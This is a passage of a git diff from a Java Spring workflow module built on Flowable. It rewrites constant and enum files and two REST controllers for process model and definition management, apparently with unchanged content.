ruoyi-common-sms + + + + org.dromara + ruoyi-common-mybatis + + + org.dromara + ruoyi-common-web + + + org.dromara + ruoyi-common-log + + + org.dromara + ruoyi-common-idempotent + + + org.dromara + ruoyi-common-excel + + + org.dromara + ruoyi-common-translation + + + org.dromara + ruoyi-common-tenant + + + org.dromara + ruoyi-common-security + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/constant/FlowConstant.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/constant/FlowConstant.java index c3fcafa..5ceafb5 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/constant/FlowConstant.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/constant/FlowConstant.java @@ -1,137 +1,137 @@ -package org.dromara.workflow.common.constant; - - -/** - * 工作流常量 - * - * @author may - */ -public interface FlowConstant { - - String MESSAGE_CURRENT_TASK_IS_NULL = "当前任务不存在或你不是任务办理人!"; - - String MESSAGE_SUSPENDED = "当前任务已挂起不可审批!"; - - /** - * 连线 - */ - String SEQUENCE_FLOW = "sequenceFlow"; - - /** - * 并行网关 - */ - String PARALLEL_GATEWAY = "parallelGateway"; - - /** - * 排它网关 - */ - String EXCLUSIVE_GATEWAY = "exclusiveGateway"; - - /** - * 包含网关 - */ - String INCLUSIVE_GATEWAY = "inclusiveGateway"; - - /** - * 结束节点 - */ - String END_EVENT = "endEvent"; - - - /** - * 流程委派标识 - */ - String PENDING = "PENDING"; - - /** - * 候选人标识 - */ - String CANDIDATE = "candidate"; - - /** - * 会签任务总数 - */ - String NUMBER_OF_INSTANCES = "nrOfInstances"; - - /** - * 正在执行的会签总数 - */ - String NUMBER_OF_ACTIVE_INSTANCES = "nrOfActiveInstances"; - - /** - * 已完成的会签任务总数 - */ - String NUMBER_OF_COMPLETED_INSTANCES = "nrOfCompletedInstances"; - - /** - * 循环的索引值,可以使用elementIndexVariable属性修改loopCounter的变量名 - */ - String LOOP_COUNTER = "loopCounter"; - - String ZIP = "ZIP"; - - /** - * 业务与流程实例关联对象 - */ - String BUSINESS_INSTANCE_DTO = "businessInstanceDTO"; - - /** - * 流程定义配置 - */ - String WF_DEFINITION_CONFIG_VO = "wfDefinitionConfigVo"; - - /** - * 节点配置 - */ - String WF_NODE_CONFIG_VO = "wfNodeConfigVo"; - - /** - * 流程发起人 - */ - String INITIATOR = "initiator"; - - /** - * 流程实例id - */ - String PROCESS_INSTANCE_ID = "processInstanceId"; - - /** - * 业务id - */ - String BUSINESS_KEY = "businessKey"; - - /** - * 流程定义id - */ - String PROCESS_DEFINITION_ID = "processDefinitionId"; - - /** - * 开启跳过表达式变量 - */ - String FLOWABLE_SKIP_EXPRESSION_ENABLED = "_FLOWABLE_SKIP_EXPRESSION_ENABLED"; - - /** - * 模型标识key命名规范正则表达式 - */ - String MODEL_KEY_PATTERN = "^[a-zA-Z][a-zA-Z0-9_]{0,254}$"; - - /** - * 用户任务 - */ - String USER_TASK = "userTask"; - - /** - * 会签 - */ - String MULTI_INSTANCE = "multiInstance"; - - /** - * 是 - */ - String TRUE = "0"; - - /** - * 否 - */ - String FALSE = "1"; -} +package org.dromara.workflow.common.constant; + + +/** + * 工作流常量 + * + * @author may + */ +public interface FlowConstant { + + String MESSAGE_CURRENT_TASK_IS_NULL = "当前任务不存在或你不是任务办理人!"; + + String MESSAGE_SUSPENDED = "当前任务已挂起不可审批!"; + + /** + * 连线 + */ + String SEQUENCE_FLOW = "sequenceFlow"; + + /** + * 并行网关 + */ + String PARALLEL_GATEWAY = "parallelGateway"; + + /** + * 排它网关 + */ + String EXCLUSIVE_GATEWAY = "exclusiveGateway"; + + /** + * 包含网关 + */ + String INCLUSIVE_GATEWAY = "inclusiveGateway"; + + /** + * 结束节点 + */ + String END_EVENT = "endEvent"; + + + /** + * 流程委派标识 + */ + String PENDING = "PENDING"; + + /** + * 候选人标识 + */ + String CANDIDATE = "candidate"; + + /** + * 会签任务总数 + */ + String NUMBER_OF_INSTANCES = "nrOfInstances"; + + /** + * 正在执行的会签总数 + */ + String NUMBER_OF_ACTIVE_INSTANCES = "nrOfActiveInstances"; + + /** + * 已完成的会签任务总数 + */ + String NUMBER_OF_COMPLETED_INSTANCES = "nrOfCompletedInstances"; + + /** + * 循环的索引值,可以使用elementIndexVariable属性修改loopCounter的变量名 + */ + String LOOP_COUNTER = "loopCounter"; + + String ZIP = "ZIP"; + + /** + * 业务与流程实例关联对象 + */ + String BUSINESS_INSTANCE_DTO = "businessInstanceDTO"; + + /** + * 流程定义配置 + */ + String WF_DEFINITION_CONFIG_VO = "wfDefinitionConfigVo"; + + /** + * 节点配置 + */ + String WF_NODE_CONFIG_VO = "wfNodeConfigVo"; + + /** + * 流程发起人 + */ + String INITIATOR = "initiator"; + + /** + * 流程实例id + */ + String PROCESS_INSTANCE_ID = "processInstanceId"; + + /** + * 业务id + */ + String BUSINESS_KEY = "businessKey"; + + /** + * 流程定义id + */ + String PROCESS_DEFINITION_ID = "processDefinitionId"; + + /** + * 开启跳过表达式变量 + */ + String FLOWABLE_SKIP_EXPRESSION_ENABLED = "_FLOWABLE_SKIP_EXPRESSION_ENABLED"; + + /** + * 模型标识key命名规范正则表达式 + */ + String MODEL_KEY_PATTERN = "^[a-zA-Z][a-zA-Z0-9_]{0,254}$"; + + /** + * 用户任务 + */ + String USER_TASK = "userTask"; + + /** + * 会签 + */ + String MULTI_INSTANCE = "multiInstance"; + + /** + * 是 + */ + String TRUE = "0"; + + /** + * 否 + */ + String FALSE = "1"; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/FormTypeEnum.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/FormTypeEnum.java index 083ab7b..9ff3d84 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/FormTypeEnum.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/FormTypeEnum.java @@ -1,54 +1,54 @@ -package org.dromara.workflow.common.enums; - -import cn.hutool.core.util.StrUtil; -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.apache.commons.lang3.StringUtils; - -import java.util.Arrays; - -/** - * 任务状态枚举 - * - * @author may - */ -@Getter -@AllArgsConstructor -public enum FormTypeEnum { - /** - * 自定义表单 - */ - STATIC("static", "自定义表单"), - /** - * 动态表单 - */ - DYNAMIC("dynamic", "动态表单"); - - /** - * 类型 - */ - private final String type; - - /** - * 描述 - */ - private final String desc; - - /** - * 表单类型 - * - * @param formType 表单类型 - */ - public static String findByType(String formType) { - if (StringUtils.isBlank(formType)) { - return StrUtil.EMPTY; - } - - return Arrays.stream(FormTypeEnum.values()) - .filter(statusEnum -> statusEnum.getType().equals(formType)) - .findFirst() - .map(FormTypeEnum::getDesc) - .orElse(StrUtil.EMPTY); - } -} - +package org.dromara.workflow.common.enums; + +import cn.hutool.core.util.StrUtil; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; + +import java.util.Arrays; + +/** + * 任务状态枚举 + * + * @author may + */ +@Getter +@AllArgsConstructor +public enum FormTypeEnum { + /** + * 自定义表单 + */ + STATIC("static", "自定义表单"), + /** + * 动态表单 + */ + DYNAMIC("dynamic", "动态表单"); + + /** + * 类型 + */ + private final String type; + + /** + * 描述 + */ + private final String desc; + + /** + * 表单类型 + * + * @param formType 表单类型 + */ + public static String findByType(String formType) { + if (StringUtils.isBlank(formType)) { + return StrUtil.EMPTY; + } + + return Arrays.stream(FormTypeEnum.values()) + .filter(statusEnum -> statusEnum.getType().equals(formType)) + .findFirst() + .map(FormTypeEnum::getDesc) + .orElse(StrUtil.EMPTY); + } +} + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/MessageTypeEnum.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/MessageTypeEnum.java index a282958..159be49 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/MessageTypeEnum.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/MessageTypeEnum.java @@ -1,51 +1,51 @@ -package org.dromara.workflow.common.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; - -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; - -/** - * 消息类型枚举 - * - * @author may - */ -@Getter -@AllArgsConstructor -public enum MessageTypeEnum { - /** - * 站内信 - */ - SYSTEM_MESSAGE("1", "站内信"), - /** - * 邮箱 - */ - EMAIL_MESSAGE("2", "邮箱"), - /** - * 短信 - */ - SMS_MESSAGE("3", "短信"); - - private final String code; - - private final String desc; - - private final static Map MESSAGE_TYPE_ENUM_MAP = new ConcurrentHashMap<>(MessageTypeEnum.values().length); - - static { - for (MessageTypeEnum messageType : MessageTypeEnum.values()) { - MESSAGE_TYPE_ENUM_MAP.put(messageType.code, messageType); - } - } - - /** - * 根据消息类型 code 获取 MessageTypeEnum - * @param code 消息类型code - * @return MessageTypeEnum - */ - public static MessageTypeEnum getByCode(String code) { - return MESSAGE_TYPE_ENUM_MAP.get(code); - } -} - +package org.dromara.workflow.common.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +/** + * 消息类型枚举 + * + * @author may + */ +@Getter +@AllArgsConstructor +public enum MessageTypeEnum { + /** + * 站内信 + */ + SYSTEM_MESSAGE("1", "站内信"), + /** + * 邮箱 + */ + EMAIL_MESSAGE("2", "邮箱"), + /** + * 短信 + */ + SMS_MESSAGE("3", "短信"); + + private final String code; + + private final String desc; + + private final static Map MESSAGE_TYPE_ENUM_MAP = new ConcurrentHashMap<>(MessageTypeEnum.values().length); + + static { + for (MessageTypeEnum messageType : MessageTypeEnum.values()) { + MESSAGE_TYPE_ENUM_MAP.put(messageType.code, messageType); + } + } + + /** + * 根据消息类型 code 获取 MessageTypeEnum + * @param code 消息类型code + * @return MessageTypeEnum + */ + public static MessageTypeEnum getByCode(String code) { + return MESSAGE_TYPE_ENUM_MAP.get(code); + } +} + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/TaskStatusEnum.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/TaskStatusEnum.java index 7b2f55c..a33bd4c 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/TaskStatusEnum.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/common/enums/TaskStatusEnum.java @@ -1,94 +1,94 @@ -package org.dromara.workflow.common.enums; - -import cn.hutool.core.util.StrUtil; -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.apache.commons.lang3.StringUtils; - -import java.util.Arrays; - -/** - * 任务状态枚举 - * - * @author may - */ -@Getter -@AllArgsConstructor -public enum TaskStatusEnum { - /** - * 撤销 - */ - CANCEL("cancel", "撤销"), - /** - * 通过 - */ - PASS("pass", "通过"), - /** - * 待审核 - */ - WAITING("waiting", "待审核"), - /** - * 作废 - */ - INVALID("invalid", "作废"), - /** - * 退回 - */ - BACK("back", "退回"), - /** - * 终止 - */ - TERMINATION("termination", "终止"), - /** - * 转办 - */ - TRANSFER("transfer", "转办"), - /** - * 委托 - */ - PENDING("pending", "委托"), - /** - * 抄送 - */ - COPY("copy", "抄送"), - /** - * 加签 - */ - SIGN("sign", "加签"), - /** - * 减签 - */ - SIGN_OFF("sign_off", "减签"), - /** - * 超时 - */ - TIMEOUT("timeout", "超时"); - - /** - * 状态 - */ - private final String status; - - /** - * 描述 - */ - private final String desc; - - /** - * 任务业务状态 - * - * @param status 状态 - */ - public static String findByStatus(String status) { - if (StringUtils.isBlank(status)) { - return StrUtil.EMPTY; - } - - return Arrays.stream(TaskStatusEnum.values()) - .filter(statusEnum -> statusEnum.getStatus().equals(status)) - .findFirst() - .map(TaskStatusEnum::getDesc) - .orElse(StrUtil.EMPTY); - } -} - +package org.dromara.workflow.common.enums; + +import cn.hutool.core.util.StrUtil; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; + +import java.util.Arrays; + +/** + * 任务状态枚举 + * + * @author may + */ +@Getter +@AllArgsConstructor +public enum TaskStatusEnum { + /** + * 撤销 + */ + CANCEL("cancel", "撤销"), + /** + * 通过 + */ + PASS("pass", "通过"), + /** + * 待审核 + */ + WAITING("waiting", "待审核"), + /** + * 作废 + */ + INVALID("invalid", "作废"), + /** + * 退回 + */ + BACK("back", "退回"), + /** + * 终止 + */ + TERMINATION("termination", "终止"), + /** + * 转办 + */ + TRANSFER("transfer", "转办"), + /** + * 委托 + */ + PENDING("pending", "委托"), + /** + * 抄送 + */ + COPY("copy", "抄送"), + /** + * 加签 + */ + SIGN("sign", "加签"), + /** + * 减签 + */ + SIGN_OFF("sign_off", "减签"), + /** + * 超时 + */ + TIMEOUT("timeout", "超时"); + + /** + * 状态 + */ + private final String status; + + /** + * 描述 + */ + private final String desc; + + /** + * 任务业务状态 + * + * @param status 状态 + */ + public static String findByStatus(String status) { + if (StringUtils.isBlank(status)) { + return StrUtil.EMPTY; + } + + return Arrays.stream(TaskStatusEnum.values()) + .filter(statusEnum -> statusEnum.getStatus().equals(status)) + .findFirst() + .map(TaskStatusEnum::getDesc) + .orElse(StrUtil.EMPTY); + } +} + diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActModelController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActModelController.java index 842d3d6..db9bb61 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActModelController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActModelController.java @@ -1,148 +1,148 @@ -package org.dromara.workflow.controller; - -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.ModelBo; -import org.dromara.workflow.domain.vo.ModelVo; -import org.dromara.workflow.service.IActModelService; -import org.flowable.engine.RepositoryService; -import org.flowable.engine.repository.Model; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.transaction.annotation.Transactional; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.Arrays; -import java.util.List; - -/** - * 模型管理 控制层 - * - * @author may - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/model") -public class ActModelController extends BaseController { - - @Autowired(required = false) - private RepositoryService repositoryService; - private final IActModelService actModelService; - - - /** - * 分页查询模型 - * - * @param modelBo 模型参数 - */ - @GetMapping("/list") - public TableDataInfo page(ModelBo modelBo, PageQuery pageQuery) { - return actModelService.page(modelBo, pageQuery); - } - - /** - * 新增模型 - * - * @param modelBo 模型请求对象 - */ - @Log(title = "模型管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/save") - public R saveNewModel(@Validated(AddGroup.class) @RequestBody ModelBo modelBo) { - return toAjax(actModelService.saveNewModel(modelBo)); - } - - /** - * 查询模型 - * - * @param id 模型id - */ - @GetMapping("/getInfo/{id}") - public R getInfo(@NotBlank(message = "模型id不能为空") @PathVariable String id) { - return R.ok(actModelService.getInfo(id)); - } - - /** - * 修改模型信息 - * - * @param modelBo 模型数据 - */ - @Log(title = "模型管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping(value = "/update") - public R update(@RequestBody ModelBo modelBo) { - return toAjax(actModelService.update(modelBo)); - } - - /** - * 编辑XMl模型 - * - * @param modelBo 模型数据 - */ - @Log(title = "模型管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping(value = "/editModelXml") - public R editModel(@Validated(EditGroup.class) @RequestBody ModelBo modelBo) { - return toAjax(actModelService.editModelXml(modelBo)); - } - - /** - * 删除流程模型 - * - * @param ids 模型id - */ - @Log(title = "模型管理", businessType = BusinessType.DELETE) - @RepeatSubmit() - @DeleteMapping("/{ids}") - @Transactional(rollbackFor = Exception.class) - public R delete(@NotEmpty(message = "主键不能为空") @PathVariable String[] ids) { - Arrays.stream(ids).parallel().forEachOrdered(repositoryService::deleteModel); - return R.ok(); - } - - /** - * 模型部署 - * - * @param id 模型id - */ - @Log(title = "模型管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/modelDeploy/{id}") - public R deploy(@NotBlank(message = "模型id不能为空") @PathVariable("id") String id) { - return toAjax(actModelService.modelDeploy(id)); - } - - /** - * 导出模型zip压缩包 - * - * @param modelIds 模型id - * @param response 相应 - */ - @GetMapping("/export/zip/{modelIds}") - public void exportZip(@NotEmpty(message = "模型id不能为空") @PathVariable List modelIds, - HttpServletResponse response) { - actModelService.exportZip(modelIds, response); - } - - /** - * 复制模型 - * - * @param modelBo 模型数据 - */ - @PostMapping("/copyModel") - public R copyModel(@RequestBody ModelBo modelBo) { - return toAjax(actModelService.copyModel(modelBo)); - } -} +package org.dromara.workflow.controller; + +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.ModelBo; +import org.dromara.workflow.domain.vo.ModelVo; +import org.dromara.workflow.service.IActModelService; +import org.flowable.engine.RepositoryService; +import org.flowable.engine.repository.Model; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.Arrays; +import java.util.List; + +/** + * 模型管理 控制层 + * + * @author may + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/model") +public class ActModelController extends BaseController { + + @Autowired(required = false) + private RepositoryService repositoryService; + private final IActModelService actModelService; + + + /** + * 分页查询模型 + * + * @param modelBo 模型参数 + */ + @GetMapping("/list") + public TableDataInfo page(ModelBo modelBo, PageQuery pageQuery) { + return actModelService.page(modelBo, pageQuery); + } + + /** + * 新增模型 + * + * @param modelBo 模型请求对象 + */ + @Log(title = "模型管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/save") + public R saveNewModel(@Validated(AddGroup.class) @RequestBody ModelBo modelBo) { + return toAjax(actModelService.saveNewModel(modelBo)); + } + + /** + * 查询模型 + * + * @param id 模型id + */ + @GetMapping("/getInfo/{id}") + public R getInfo(@NotBlank(message = "模型id不能为空") @PathVariable String id) { + return R.ok(actModelService.getInfo(id)); + } + + /** + * 修改模型信息 + * + * @param modelBo 模型数据 + */ + @Log(title = "模型管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping(value = "/update") + public R update(@RequestBody ModelBo modelBo) { + return toAjax(actModelService.update(modelBo)); + } + + /** + * 编辑XMl模型 + * + * @param modelBo 模型数据 + */ + @Log(title = "模型管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping(value = "/editModelXml") + public R editModel(@Validated(EditGroup.class) @RequestBody ModelBo modelBo) { + return toAjax(actModelService.editModelXml(modelBo)); + } + + /** + * 删除流程模型 + * + * @param ids 模型id + */ + @Log(title = "模型管理", businessType = BusinessType.DELETE) + @RepeatSubmit() + @DeleteMapping("/{ids}") + @Transactional(rollbackFor = Exception.class) + public R delete(@NotEmpty(message = "主键不能为空") @PathVariable String[] ids) { + Arrays.stream(ids).parallel().forEachOrdered(repositoryService::deleteModel); + return R.ok(); + } + + /** + * 模型部署 + * + * @param id 模型id + */ + @Log(title = "模型管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/modelDeploy/{id}") + public R deploy(@NotBlank(message = "模型id不能为空") @PathVariable("id") String id) { + return toAjax(actModelService.modelDeploy(id)); + } + + /** + * 导出模型zip压缩包 + * + * @param modelIds 模型id + * @param response 相应 + */ + @GetMapping("/export/zip/{modelIds}") + public void exportZip(@NotEmpty(message = "模型id不能为空") @PathVariable List modelIds, + HttpServletResponse response) { + actModelService.exportZip(modelIds, response); + } + + /** + * 复制模型 + * + * @param modelBo 模型数据 + */ + @PostMapping("/copyModel") + public R copyModel(@RequestBody ModelBo modelBo) { + return toAjax(actModelService.copyModel(modelBo)); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessDefinitionController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessDefinitionController.java index 5198bd1..e91d81b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessDefinitionController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessDefinitionController.java @@ -1,147 +1,147 @@ -package org.dromara.workflow.controller; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.ProcessDefinitionBo; -import org.dromara.workflow.domain.vo.ProcessDefinitionVo; -import org.dromara.workflow.service.IActProcessDefinitionService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - - -/** - * 流程定义管理 控制层 - * - * @author may - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/processDefinition") -public class ActProcessDefinitionController extends BaseController { - - private final IActProcessDefinitionService actProcessDefinitionService; - - /** - * 分页查询 - * - * @param bo 参数 - */ - @GetMapping("/list") - public TableDataInfo page(ProcessDefinitionBo bo, PageQuery pageQuery) { - return actProcessDefinitionService.page(bo, pageQuery); - } - - /** - * 查询历史流程定义列表 - * - * @param key 流程定义key - */ - @GetMapping("/getListByKey/{key}") - public R> getListByKey(@NotEmpty(message = "流程定义key不能为空") @PathVariable String key) { - return R.ok("操作成功", actProcessDefinitionService.getListByKey(key)); - } - - /** - * 查看流程定义图片 - * - * @param processDefinitionId 流程定义id - */ - @GetMapping("/definitionImage/{processDefinitionId}") - public R definitionImage(@PathVariable String processDefinitionId) { - return R.ok("操作成功", actProcessDefinitionService.definitionImage(processDefinitionId)); - } - - /** - * 查看流程定义xml文件 - * - * @param processDefinitionId 流程定义id - */ - @GetMapping("/definitionXml/{processDefinitionId}") - public R> definitionXml(@NotBlank(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { - Map map = new HashMap<>(); - String xmlStr = actProcessDefinitionService.definitionXml(processDefinitionId); - map.put("xml", Arrays.asList(xmlStr.split("\n"))); - map.put("xmlStr", xmlStr); - return R.ok(map); - } - - /** - * 删除流程定义 - * - * @param deploymentIds 部署id - * @param processDefinitionIds 流程定义id - */ - @Log(title = "流程定义管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{deploymentIds}/{processDefinitionIds}") - public R deleteDeployment(@NotNull(message = "流程部署id不能为空") @PathVariable List deploymentIds, - @NotNull(message = "流程定义id不能为空") @PathVariable List processDefinitionIds) { - return toAjax(actProcessDefinitionService.deleteDeployment(deploymentIds, processDefinitionIds)); - } - - /** - * 激活或者挂起流程定义 - * - * @param processDefinitionId 流程定义id - */ - @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping("/updateDefinitionState/{processDefinitionId}") - public R updateDefinitionState(@NotBlank(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { - return toAjax(actProcessDefinitionService.updateDefinitionState(processDefinitionId)); - } - - /** - * 迁移流程定义 - * - * @param currentProcessDefinitionId 当前流程定义id - * @param fromProcessDefinitionId 需要迁移到的流程定义id - */ - @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping("/migrationDefinition/{currentProcessDefinitionId}/{fromProcessDefinitionId}") - public R migrationDefinition(@NotBlank(message = "当前流程定义id") @PathVariable String currentProcessDefinitionId, - @NotBlank(message = "需要迁移到的流程定义id") @PathVariable String fromProcessDefinitionId) { - return toAjax(actProcessDefinitionService.migrationDefinition(currentProcessDefinitionId, fromProcessDefinitionId)); - } - - /** - * 流程定义转换为模型 - * - * @param processDefinitionId 流程定义id - */ - @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping("/convertToModel/{processDefinitionId}") - public R convertToModel(@NotEmpty(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { - return toAjax(actProcessDefinitionService.convertToModel(processDefinitionId)); - } - - /** - * 通过zip或xml部署流程定义 - * - * @param file 文件 - * @param categoryCode 分类 - */ - @Log(title = "流程定义管理", businessType = BusinessType.INSERT) - @PostMapping("/deployByFile") - public void deployByFile(@RequestParam("file") MultipartFile file, @RequestParam("categoryCode") String categoryCode) { - actProcessDefinitionService.deployByFile(file, categoryCode); - } - -} +package org.dromara.workflow.controller; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.ProcessDefinitionBo; +import org.dromara.workflow.domain.vo.ProcessDefinitionVo; +import org.dromara.workflow.service.IActProcessDefinitionService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + + +/** + * 流程定义管理 控制层 + * + * @author may + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/processDefinition") +public class ActProcessDefinitionController extends BaseController { + + private final IActProcessDefinitionService actProcessDefinitionService; + + /** + * 分页查询 + * + * @param bo 参数 + */ + @GetMapping("/list") + public TableDataInfo page(ProcessDefinitionBo bo, PageQuery pageQuery) { + return actProcessDefinitionService.page(bo, pageQuery); + } + + /** + * 查询历史流程定义列表 + * + * @param key 流程定义key + */ + @GetMapping("/getListByKey/{key}") + public R> getListByKey(@NotEmpty(message = "流程定义key不能为空") @PathVariable String key) { + return R.ok("操作成功", actProcessDefinitionService.getListByKey(key)); + } + + /** + * 查看流程定义图片 + * + * @param processDefinitionId 流程定义id + */ + @GetMapping("/definitionImage/{processDefinitionId}") + public R definitionImage(@PathVariable String processDefinitionId) { + return R.ok("操作成功", actProcessDefinitionService.definitionImage(processDefinitionId)); + } + + /** + * 查看流程定义xml文件 + * + * @param processDefinitionId 流程定义id + */ + @GetMapping("/definitionXml/{processDefinitionId}") + public R> definitionXml(@NotBlank(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { + Map map = new HashMap<>(); + String xmlStr = actProcessDefinitionService.definitionXml(processDefinitionId); + map.put("xml", Arrays.asList(xmlStr.split("\n"))); + map.put("xmlStr", xmlStr); + return R.ok(map); + } + + /** + * 删除流程定义 + * + * @param deploymentIds 部署id + * @param processDefinitionIds 流程定义id + */ + @Log(title = "流程定义管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{deploymentIds}/{processDefinitionIds}") + public R deleteDeployment(@NotNull(message = "流程部署id不能为空") @PathVariable List deploymentIds, + @NotNull(message = "流程定义id不能为空") @PathVariable List processDefinitionIds) { + return toAjax(actProcessDefinitionService.deleteDeployment(deploymentIds, processDefinitionIds)); + } + + /** + * 激活或者挂起流程定义 + * + * @param processDefinitionId 流程定义id + */ + @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping("/updateDefinitionState/{processDefinitionId}") + public R updateDefinitionState(@NotBlank(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { + return toAjax(actProcessDefinitionService.updateDefinitionState(processDefinitionId)); + } + + /** + * 迁移流程定义 + * + * @param currentProcessDefinitionId 当前流程定义id + * @param fromProcessDefinitionId 需要迁移到的流程定义id + */ + @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping("/migrationDefinition/{currentProcessDefinitionId}/{fromProcessDefinitionId}") + public R migrationDefinition(@NotBlank(message = "当前流程定义id") @PathVariable String currentProcessDefinitionId, + @NotBlank(message = "需要迁移到的流程定义id") @PathVariable String fromProcessDefinitionId) { + return 